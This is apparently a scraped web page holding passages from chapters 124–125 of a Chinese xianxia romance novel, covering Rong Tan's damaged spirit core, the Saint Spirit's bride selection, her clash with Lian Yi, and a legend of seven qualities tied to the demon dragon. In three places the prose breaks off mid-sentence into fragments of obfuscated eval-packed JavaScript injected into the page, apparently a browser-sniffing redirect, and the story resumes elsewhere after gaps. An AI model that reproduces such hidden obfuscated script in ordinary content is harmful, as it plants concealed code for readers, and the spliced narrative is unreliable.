一听到容檀针对容珠的话,容江就发愁,他也不想再在这件事上如何劝说容檀,这么多年过去,如果他的劝说真的有用,容檀也不会一直不改变观念,他现在最大的愿望是让容檀能平安地度过一生。 他平静道:“檀儿,连逸或许过去做了一些让你不愉快的事,但他是什么样的人你可能只看到了一面,我信得过他,放心让他去做这件事,爹爹的灵力很有可能会对你的灵核造成损伤,到时候就得不偿失了。” “我自己动手还不行吗?” “你下得去手吗?” “那我也不想让他来,我讨厌他。” 连逸喉间发涩,他想走,两只脚却不愿意动。 “檀儿。”容江一本正经地对她道:“孰轻孰重你自己掂量,既然不想成为圣灵修炼的工具,你的喜欢与厌恶能给你带来什么?” 容檀不再辩驳了,她一动不动坐在那儿,眼泪在眼眶里打转。 她心想自己还是太弱了,随便一个圣灵都能主宰自己的命运,让她被迫做出选择,压着她向活着的道路不停攀爬,哪一条路都要冒险,她别无选择。 容江走到她面前蹲身安慰:“爹答应你,会看好连逸,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这九品灵芝正是去年徐旻亲自去南海之山采的,他把这颗灵芝给了水露蓉作为以后不让她再来找他的条件,可水露蓉对徐旻情似海深,宁可不要灵芝也不想与他分开。 当初她把自己全部的灵力献给没有成为圣灵的徐旻时损伤了灵核,事到如今哪怕是九品灵芝也挽救不了。 灵芝珍贵,水露蓉用了一半,前段时间,水落泽和掌门水照在为怎么样能在这次挑选中获得唯一的名额而发愁,水露蓉本来没有说话的权力,但她发现自己的爹爹和妹妹为了得到这次机会盲目选择灵药,差点把水落泽的灵核给吃坏了。 水露蓉知道,他们两个是拼了命也要获得这个荣誉,与其让他们心急坏了水落泽的灵核,不如把另一半九品灵芝给她。 九品灵芝是滋养灵核,增进修为的珍稀灵药之一,水落泽得知自己的废物姐姐还有这等妙药也不问她是从哪来的,直接拿走享用了。水露蓉提醒道:“去给圣灵做妻子未必是件好事,这只是个体面的叫法,落泽,你和爹爹不能只看眼前利益。” 没人理她。 这世上每个人所看重的东西,所追求的东西各不相同,水露蓉深知这一点,就像她从始至终一直珍视着曾经的夫君徐旻一样。爱情对她而言侵入骨髓,不死不灭。 门“砰”的一声关上了,水露蓉内心没太大起伏,她已经习惯了被人这样对待,她在门前默默站了一会儿后方转身离开。 124. 讨厌你 第二天,各门各派陆陆续续到达天阙台,事不关己的门派暗自等待着今日结果,他们一边嫉妒着,一边诋毁着,自己得不到的好处就会拿被选中的女子才不是新娘而是倒霉蛋这一点反复安慰自己。 而那十位备选女子所在的门派却是互相观察着彼此,在茫茫人群中寻找竞争对手,企图从肉眼探究来得知对方的灵力水平有没有提高。 容檀身为掌门自然站在清凌门的最前面,因此也是最容易让人发现的竞争对手。水落泽大摇大摆走了过来,阴阳怪气道:“容掌门,你怎么看起来脸色不好啊,是不是一心只想着提高灵力,反而得不偿失啊?” 她说着就要伸手去探容檀的灵力,容檀眸光一变,想把她打回去,可有人更快地钳住了水落泽的手腕。 连逸站在容檀身侧对水落泽冷声道:“今日不是灵阶比试大会,水姑娘想展现身手也得记好日子,再者,想挑战掌门,水姑娘还不够格。” 眼前这个人是谁水落泽又怎会不知,见面说话先看对方额间的灵阶标识,这个人没有但水落泽知道他曾给自己带来了羞辱。 “放开!” 连逸“放开”了,水落泽被这股力道击得连连后退,她气急败坏地说了句“你等着”,随后扭头气冲冲地离开了。 “金闻圣灵到——!” 随着使者的一声吆喝,所有门派哗啦啦跪地迎接圣灵。 使者道:“备选女子上前接受灵核检测!” 容檀一步步朝前走,她不敢看金闻,一是强者的威严让她低头,二是做了欺瞒圣灵的事而心虚。 十个女子表情不一地站成一排。金闻没有让她们释放灵力,而是直接大袖一挥,一个接一个地将自己的灵力强入她们的身体去感受她们的灵核。 浑厚压迫的灵力包裹住容檀破裂的灵核,凶猛地痛感让她差点抑制不住倒下,她咬牙逼自己站稳,鲜红的血从嘴角缓缓流出,水落泽又惊又喜地看着她,若不是现在这个场合不合适,她定要放声大笑。 容檀容掌门,灵核坏了! 金闻自始至终面无表情,他检查挑拣完后在心里琢磨了一番。天阙台上静静地,所有人都在凝神屏息,等待着对于他们而言的消息。 这些女子强自镇静的面色下全都是或多或少的心慌,金闻尽数收入眼底,最终将目光落定在容檀脸上。 容檀的灵核只要花些时日培养就可以成为很不错的器皿,但他没想到,才过一个月,容檀就成为了一个没有用的花瓶。 灵核受损定是急功心切之故,金闻俯视着她,对她的不幸遭遇不屑一笑。随后宣布道:“高灵门派羽衡门弟子林素玉和中灵门派水月门弟子水落泽。” 两个…… 众人先是一愣,随后点到名的门派发出了一阵低低的欢庆声。水落泽被突然砸到身上的荣誉高兴得难以自抑,她朝容檀微微仰额,宣示着不久之后二人的地位就大不相同了。 掌门又如何,她可是圣灵夫人。 在听到结果的那一刻,容檀全身一松,劫后余生的欣喜让她懒得理会水落泽的炫耀,她朝水落泽淡淡一笑,眼神里尽是对她的同情与可怜,“恭喜你了。” 水落泽没想到容檀没有生气,她愣神的功夫,容檀已经走了。 圣灵选妻一事落下了帷幕,至于相应的礼节和庆典一概省略,十日后,两名女子将会由使者送到圣灵宫,这一去是何情景便不得而知了。 容檀直到回到清凌门才彻底松了口气,清凌门的弟子为他们错过这个机会而感到惋惜,“同样是中灵,为什么水落泽能被选中而掌门却没有?” “这还用说吗,掌门连水落泽都不如呗,亏我还看好她呢。” …… 容江为女儿没有选中而暗暗高兴,嘱咐她修复灵核不能急功近利,要徐徐图之。 容檀的心情总归比之前要好一点,不过她的灵力也因灵核损坏受到了影响,如果靠她自己运功和吃丹药来恢复,至少也得大半年的时间。 白天她要看顾清凌门的弟子练功,到了晚上才有时间疗伤,每晚睡眠不足,容貌也略显疲惫,尽管她不说,连逸也将这一切看在眼里。 这天晚上,容檀准备回房休息的时候,连逸忽然出现在她眼前。 “有事快说,我不想看见你。”容檀高傲地侧过身,面若冰霜。 即便损伤灵核是商量好的事,即便连逸真的把这件事做得很小心,容檀对他的态度没有多少好转反而更视若仇敌。 连逸没有像从前一样垂着眸子答话,他自己也没察觉到自己的目光一直没有从容檀的眼睛上离去。 这双无论什么时候看都泛着疏离和冷漠的眼眸让连逸心中一凉,他和声道:“掌门灵核受损是我导致的,我想帮掌门运功疗伤,如果掌门不嫌弃的话。” 他知道容檀一定会嫌弃。 果不其然,容檀听了这话神色诧异地看着他,双眸一寒:“我信不过你。” 她踏步离开,连逸紧随其脚步,“我知道自己做过一些让掌门不高兴的事,对此我不辩驳,就像掌门说的,我们道不同,但这不代表我有害你之心。” 容檀止步回头厉声道:“既然道不同,你没有必要多此一举,这件事是从大局考虑决定的,你不必觉得对不起我或是怎样,反正你看我不顺眼,我看你也不顺眼,你我之间还是少说话,省得彼此都厌烦!” “我没有觉得厌烦,我不想看你痛苦!” “要你多管?”容檀的眸光倏地变冷,冰蓝色的华衫像在释放着阵阵寒气。 连逸眉头一皱,心头蓦地生出一团火,把他的理智压了下去,点燃了真心。 “我不是在多此一举,不是故意出现在你眼前惹你生气,我想让你恢复得快些,想让你每晚多睡一会儿,想帮你减轻身体上的痛苦,这就是我想做的,仅此而已。” 夜里无风,容檀激烈的情绪忽然被莫名柔和,她愣在原地注视着连逸,像要从他脸上挖出自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他不知道一个人的情感虽然可以忍,可以抑制,但若迟迟没有纾解的办法或者自己想不开,它早晚会越过理智飞泻出连自己都不敢相信的语言和行为。 心不会伪装,痛就是痛,思念就是思念,它每天都在说话,但人会下意识忽略或者装作听不见,因为人笨,不一定了解自己,还经常自欺欺人。 方才的行为在二人互相讨厌的关系上覆盖了层说不清道不明的“误会”,浇灭了火气也搅得二人心神紊乱。 静默半晌后连逸才轻声道:“对不起,连逸冒犯了掌门。” 后背的温度很快被夜里的凉气覆盖,容檀忽然觉得心里一空,掌门的尊严又适时提醒自己该干什么,她背对着连逸挺直身子,撂下一句“你知道就好”便走了。 胸膛上的温度随着她渐渐离去的身影散得飞快,越来越凉。连逸呆站在原地好久才魂不附体地离开。 125. 七品质 天刚蒙蒙亮的时候,邱梧和顾寄章来药堂检查容珠和应白的伤势,邱宫主和上官宫主收到了沈宫主的信,暂停寻找黑石甲,回来和上官琛一起保护驿站百姓的安危,没想到来晚一步。 上官宫主脾气急,先把周望大骂了一顿,又责怪自己错把坏人当同僚,又关切上官琛的伤,小小一个堂屋硬是让他走出了几里地的架势,邱宫主只坐在位子上满面忧愁。 应白的毒解了,原本致命的伤经过一晚上神奇的自愈已经恢复地十有七八,只需要调养几日就能好利索,但应白自知自己没有这项“神技”,从前也不见自己受伤时身体还能自行愈合,对于如此离奇之事实在想不出一个合理的解释。 顾寄章看他精神不错,说他和容珠二人都不是一般人,容珠的灵力说提升就提升,而且提升的程度是寻常人要修炼十几年才能达到的水平,应白又身俱内伤自愈的能力,他开玩笑道:“你们两个得天独厚,既拥有常人没有的能力就少不得要承担常人承担不了的责任。” 世间之事在冥冥之中有着既定的规律,上天不会平白无故给你普通人都没有的好处,但在未知的命运前,人永远不知道在未来的道路上会面临什么。 “昨天阿琛跟我们说你点亮了石碑后我们都特别意外,想当初我坚信你没点亮石碑的原因是因为你没有灵核,可见石碑并不看重这个。不过,为什么你现在却点亮了呢?” 邱梧在给容珠的胳膊上药换纱布,昨晚上官琛被周望打倒以后躺地上半天没起来,不知道应白还有在石碑上吐露真情一事,等他抬头的时候就见石碑的光芒亮瞎了他的眼。 根据邱梧之前点亮石碑的经历来推测,或许应白也是明白了什么,顿悟了什么,他的身心和思想发生了改变,误打误撞拥有了石碑上某道印记所对应的品质。 应白默不作声和容珠对视。 “我也不知道为什么。”他回想了一下当时情景,“石碑本身很神奇,我们都不知道它想要的七个品质是什么。” 魔龙说上官琛勇猛,说容珠无私,邱梧或许是聪慧,那道连主人是谁都不知道的印记光芒是什么品质便无从得知,应白…… “等等。”邱梧缠纱布的手忽然停下,“四公主曾给我讲过一个故事,你们听听看。” “数千年前,人间出现了一个大妖,伤人无数,无人能敌,百姓一起祈求神明下凡斩妖除魔,神明便派了三个天兵下界,这三个人分别向神明提了一个要求。 “第一个天兵说大妖皮太硬,需要尖锐的武器,第二个天兵说大妖太厉害,想要不死之身,第三个天兵说杀害大妖这么艰巨的任务如果他们成功了,要求神明提升他们的仙阶。 “神明答应了他们的要求,给他们强有力的武器,保证他们没有性命危险,还答应他们成功以后就封他们为战神。 “三个人拥有神明赐的武器又无后顾之忧后,就商量出了一个合适的计划,但大妖还是把他们打得遍体鳞伤,无论大妖将他们伤得多重,三个人都不会死,可他们渐渐发现即便如此,他们依然没有能力除掉大妖。 “后来,向神明提出拥有不死之身的那个人因为屡受重伤不想再肩负这个任务,想提升仙阶的人说事情没有做一半就放弃的道理,另外一个人既不想退缩也不愿花时间哀叹,他当即拿着武器站起来决定再次找大妖对决。 “出乎意料的是,他竟然凭一人之力在大妖身上留下了一道很深的伤口,其他两个人纷纷进入战局帮助他,而大妖在盛怒之下抓住了那个本想放弃的人,一爪穿透那人的胸膛抓住了他的心。 “如果心被挖出,即便是神明的神力也保护不了他的性命,大妖说要想活命就必须臣服于它。这个人犹豫了,可大妖却没功夫等他考虑,就在他的心快要被挖出来时,他拿起自己的武器对大妖说宁死也不屈服。 “他手中的武器同样在大妖身上留下了一道很深的伤口,紧接着,剩下那一个人从大妖手里救走伙伴的同时也重伤了大妖。大妖勃然大怒,开始肆意屠杀百姓,一个丈夫为了保护妻子拿着自己仅有的木剑刺向大妖,一个少女为了保护几个跟家人走散的小孩背对大妖的袭击,无人能敌的大妖不仅奈何不了柔弱的百姓反而被自己的攻击反噬自身。 “次次失意让它决定释放出自己的全部威力,这一举动地崩山摇,神明意识到大妖的祸乱已经到无法阻止的地步,便决定用自己的元神与大妖同归于尽。这时,天上的一条神兽挡在神明身前与大妖搏斗起来,神兽知道神明要做什么,也知道大妖会给世间造成什么样的灾难,可神兽不想让神明死,它用自己不怎么强大的神力来攻击大妖,企图通过爪子和牙齿来改变一切。 “它一定要让神明活着,因为在神兽眼中,神明是它心中不可替代的朋友,神明心怀苍生,但它心里只有神明。 “神兽用自己的身躯守护着神明,朝大妖奋力一咬,原本血流不止的身体再次多了一道伤口。神明意识到了除掉大妖的奥秘,便施展神力给了大妖最终一击。 “大妖死后化成了一块石头,身上的伤口在石头上形成了一道道裂痕。神明将石头带回神界,并赞赏嘉奖那些除妖有功之人,人间又恢复了太平。” 屋里的人静静听邱梧讲着故事,她忽然站起身后知后觉道:“我怎么现在才反应过来其中的含义!你们觉不觉得故事中几个人杀死大妖的过程和我们要点亮石碑杀死魔龙这件事十分相似?” 她一边踱步一边分析:“三个天兵,那个拿木剑的丈夫,保护小孩的少女,守护神明的神兽,最后还有神明本人!七个人!大妖死后化成的石头上有七道痕迹,会不会……会不会……” “四公主从哪听来的这个故事?”容珠放下袖子起身,邱梧闻声突然止步。 她在原地呆滞了一会儿才看着每个人慢慢道:“是当时周望给四公主当老师那会儿讲给她的故事。” 屋里的人齐齐变了神色,他们刚刚确定周望杀了都城驿站的中毒百姓,是个表里不一,且拥有高超灵力,极难对付的恶人,现在却又有一件跟他行为不甚相符,且有诸多不合理之处的事摆在他们眼前…… “阿姐,你的意思是周望知道石碑想要的七个品质是什么?”上官琛脸上抹着药膏,整个人的气色看起来还有点欠缺,乍一听见邱梧的话直愣愣地看着她。 邱梧没有说话。 她不知道。 她没有办法把自己认识的周望和昨天得知的周望以及现在通过这个故事后知后觉意识到的周望联系在一起。 周望就像是一团雾,不管显现了什么都不会去相信那是他的全部。如果所有的一切都是真的,那这不合逻辑的一切总要有个合理的解释才对。 “四公主给我讲完这个故事后问我为什么这些人能在大妖身上留下伤口。” 邱梧坐下来回忆,“我当时想既然是周望讲给她听的故事她一定问过周望了,四公主对我说她也不知道,她问了周望为什么,周望告诉她,这个世界上能造成伤害的不一定是尖锐的武器和强大的灵力,这世上有远比这些更厉害的东西,它们是感情。” 似曾相识的话触动了某段记忆,应白道:“从前我们去他府上做客赏花的时候他就对我说过,灵力高低不是影响点亮石碑的因素。” 所有人都察觉到了其中的不合理之处,同时又有一条线索在各人心中不停穿梭却难以捕捉,好像差一点,就差一点就能知道,就能解释周望为什么这么奇怪,为什么会知道这个故事,为什么拥有那么高强的灵力以及……他到底是谁? “我们现在怀疑一件事。”容珠和应白对视后说,“严格来说,有依据可以推断。” 昨晚应白的身体有所好转后,他和容珠两人讨论了点亮石碑一事和周望这个人。 说起周望,容珠直接跟应白说了自己的猜想,应白听后只略略一惊,顿时明白了他从周望身上感觉到的那股熟悉感的原因,尤其是在跟他眼睛对视的一刹那,那种熟悉感尤为强烈,可是这种感觉往往很快会烟消云散,就像明明感觉到自己的手碰到了什么东西的边边,可当你抬手仔细看时却发现什么都没有。 “周望出现在都城那会儿正是我们刚打败完魔龙不久,按理说魔龙会在洞穴中沉睡三个月,因为以前每次都这样。”容珠看着众人缓缓睁大的眼睛缓慢分析着。 “我曾击掉过魔龙的两片龙甲,而周望身上也有两道伤口,一道在他的左手腕,从我们刚认识他那会儿,他的左手腕上就缠着纱布,一直到我跟他去监工时这个纱布还在,什么样的伤口能好几个月不见好?” 邱梧变了神色,她见过周望手腕上那道纱布,那个位置很明显,只要手臂做点动作就会轻而易举露出来。 “第二道伤口我没有亲眼见过,但我猜测在他的右腿上。我和他到边城监工时,有个劳工用工具的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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应白道:“前段时间我和阿琛从颖城解决完泥鳅精的祸乱回来时路过崖海,不小心掉了下去,我的佩剑一直往魔龙洞穴游,我跟着进去,在洞穴深处看到了墙上的魔龙。” 邱梧纳闷:“什么是墙上的魔龙?” “影子。火把照出了魔龙的身影映在墙上。”应白说,“我并没有亲眼见到魔龙本身。” 不能确定魔龙真的在洞穴,同样,魔龙被暂时击杀后是否真的有三月沉睡期也不确定了。 容珠补充道:“现在雨灾结束,三月之期已过,魔龙未曾现身,归根究底,我们没有亲眼见过魔龙和周望同时出现。” “幻化成人,亲近国君,获取信任,把握朝政。”顾寄章眉头紧锁,一字一句说着,“既然石碑上的七道光芒被点亮后能真正杀掉他,他为什么还要对别人说出这个故事?四公主年纪小,若是说给别人听别人未必上心,可后来邱梧去当四公主的老师了,他本领如此高强,可曾预料到这件事会让我们知晓?” 说到这儿,顾寄章忽然警惕起来,“难道他就是想要把这个故事告诉我们?难道他知道邱梧将来会进宫?还是说,邱梧的进宫就是他安排的?” 邱梧一愣。她知道自己进宫表面是当四公主的老师,实则是赵皇帝想借她来发泄对紫阳宫的不满,她当时听到圣旨的那一刻就意识到了事情不简单,可她没想到这件事会是周望一手促就的……那个时候,那么早的时候他就已经在暗中针对他们了…… “不行!”上官琛猛地站起来,事情扑朔迷离,难以辨清周望人心,他拉住邱梧的胳膊急切道:“阿姐,你不能去皇宫!周望实力强悍,诡计多端,谁知道你这一去会发生什么?” 邱梧一动不动思考着,接二连三的真相砸得她混乱又茫然,但她的思绪很快又清晰过来,她轻轻拍了拍上官琛的手说:“要去。” 太阳已经完全出来了,燥热的气息爬上窗户,潜入门里,刺挠着人身上每一寸肌肤。 她对爹爹和先生说:“我是四公主的老师,是紫阳宫的圣女。从小先生就教导我们做一件事不仅仅是去做那么简单,既享受所带来的好处也该承担所有可能发生的责任。” 上官琛的手骤然一松,慢慢垂了下来。 在危险与敌人面前,没有家人,没有自己,只有责任。人身上有两样好东西,一个是脑子,一个是心,脑子让人理性理智,减少感情用事,而心无时无刻都在传递着真实感受,不让人无情过头。 可理智和感情时常对立,人总是要被迫做出选择。 “我们一起。”容珠上前说,“师父点亮了石碑,按理是要进宫面圣的,我们几个一起去见赵皇帝,把周望赶出宫!”